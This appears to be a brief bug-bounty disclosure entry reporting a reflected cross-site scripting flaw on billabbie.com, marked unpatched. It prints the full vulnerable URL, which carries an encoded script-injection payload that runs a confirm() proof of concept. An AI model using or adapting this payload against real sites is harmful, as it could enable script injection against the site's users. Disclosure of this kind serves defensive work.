billabbie.com XSS vulnerability

Vulnerable URL: http://billabbie.com/calath/cgi-bin/dbsearch.cgi?databasename=cahtotext%22%27--!%3E%3CScript%20/K/%3Econfirm%27OPENBUGBOUNTY%27%3C/Script%20/K/%3E&searchstring1;=look,%20see&searchtype1;=all&searchfield1;=it=nosort=RunSearch Details: Description| Value ---|--- Patched:| No Latest...